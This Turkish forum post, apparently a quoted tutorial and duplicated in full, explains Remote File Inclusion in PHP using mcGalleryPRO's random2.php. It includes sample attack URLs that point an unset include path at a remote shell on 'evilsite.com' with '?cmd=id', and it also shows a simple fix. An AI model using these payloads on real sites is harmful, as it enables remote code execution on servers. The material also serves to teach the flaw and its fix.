blackwolf
uid=0(root)
- Katılım
- 17 Ağu 2005
- Mesajlar
- 1,429
- Reaction score
- 0
- Puanları
- 0
- Yaş
- 35
Hacker’ların RFİ açığı ararken dikkat ettikleri başlıca parametreleri şöyle sıralayabiliriz;
- İnclude
- Require
- Define
Bu yönergelerin kullanımı sırasında "$" tanım işareti ile kullanılan parametreler yardımıyla uzaktan kod çağırılabiliyor.
Örnek olarak aşağıdaki kodu ele alalım:
include ("$path_to_folder/admin/common.php" );
include ("$path_to_folder/lang/$lang_def" );
yukarıdaki kodlar mcGalleryPRO scriptinden alınmıştır.kurulum paketindeki random2.php dosyasındaki hatalı kodlamadan dolayı uzaktan dosya çağırmak mümkündür.şimdi burda başında $ işareti olan parametrelere dikkatinizi çekmek istiyorum.
path_to_folder ve lang_def... ilk parametreyi kullanarak rfi yapılabilmektedir.nedeni bu değişkenin daha önce sabit bir değere eşitlenmemiş olmasıdır.dolayısıyla bu değişkene atıyacağınız her hangi bir değer onun değerini belirler.
bu kodla örnek rfi yi oluşturalım :
http://www.victimsite.com/mcGallery...o_folder=http://evilsite.com/shell.txt?cmd=id
Bu şekilde bir Rfi’nin varsayılan ayarlarda bir değişiklik yapılmamışsa çalışması beklenir.
Peki aynı şey lang_def için mümkün müdür? Tabii ki hayır... Çünkü dikkatinizi çektiyse lang_def değişkeninden önce sırada /lang klasörü vardır.Eğer siz;
http://www.victimsite.com/mcGalleryPRO_dir/random2.php?lang_def=http://evilsite.com/shell.txt?cmd=id
...şeklinde bir rfi yapmak isterseniz;bu kodu çağırdığınızda gezgininiz /lang klasörün altında çağıracağınız kodu arar.şimdi ilk değişkenimize geri dönelim..
gördüğünüz gibi bu bir açık yani "bug" dır.peki kapatılması mümkün mü?Elbette..
örnek olarak bir fixing yapalım:
$path_to_folder = "./" ;
include ("$path_to_folder/admin/common.php" );
include ("$path_to_folder/lang/$lang_def" );
Basit olarak random2.php dosyasının böyle kodlandığını varsayarsak rfi yapamayacağımızı görürüz.çünkü path_to_folder değişkenine bir değer atanmış ve çağırılmak istenen dosyanın ./ yani public_html ya da httpdocs gibi sitenin root klasöründe aranması işaret edilmiştir.
ALINTIDIR
- İnclude
- Require
- Define
Bu yönergelerin kullanımı sırasında "$" tanım işareti ile kullanılan parametreler yardımıyla uzaktan kod çağırılabiliyor.
Örnek olarak aşağıdaki kodu ele alalım:
include ("$path_to_folder/admin/common.php" );
include ("$path_to_folder/lang/$lang_def" );
yukarıdaki kodlar mcGalleryPRO scriptinden alınmıştır.kurulum paketindeki random2.php dosyasındaki hatalı kodlamadan dolayı uzaktan dosya çağırmak mümkündür.şimdi burda başında $ işareti olan parametrelere dikkatinizi çekmek istiyorum.
path_to_folder ve lang_def... ilk parametreyi kullanarak rfi yapılabilmektedir.nedeni bu değişkenin daha önce sabit bir değere eşitlenmemiş olmasıdır.dolayısıyla bu değişkene atıyacağınız her hangi bir değer onun değerini belirler.
bu kodla örnek rfi yi oluşturalım :
http://www.victimsite.com/mcGallery...o_folder=http://evilsite.com/shell.txt?cmd=id
Bu şekilde bir Rfi’nin varsayılan ayarlarda bir değişiklik yapılmamışsa çalışması beklenir.
Peki aynı şey lang_def için mümkün müdür? Tabii ki hayır... Çünkü dikkatinizi çektiyse lang_def değişkeninden önce sırada /lang klasörü vardır.Eğer siz;
http://www.victimsite.com/mcGalleryPRO_dir/random2.php?lang_def=http://evilsite.com/shell.txt?cmd=id
...şeklinde bir rfi yapmak isterseniz;bu kodu çağırdığınızda gezgininiz /lang klasörün altında çağıracağınız kodu arar.şimdi ilk değişkenimize geri dönelim..
gördüğünüz gibi bu bir açık yani "bug" dır.peki kapatılması mümkün mü?Elbette..
örnek olarak bir fixing yapalım:
$path_to_folder = "./" ;
include ("$path_to_folder/admin/common.php" );
include ("$path_to_folder/lang/$lang_def" );
Basit olarak random2.php dosyasının böyle kodlandığını varsayarsak rfi yapamayacağımızı görürüz.çünkü path_to_folder değişkenine bir değer atanmış ve çağırılmak istenen dosyanın ./ yani public_html ya da httpdocs gibi sitenin root klasöründe aranması işaret edilmiştir.
ALINTIDIR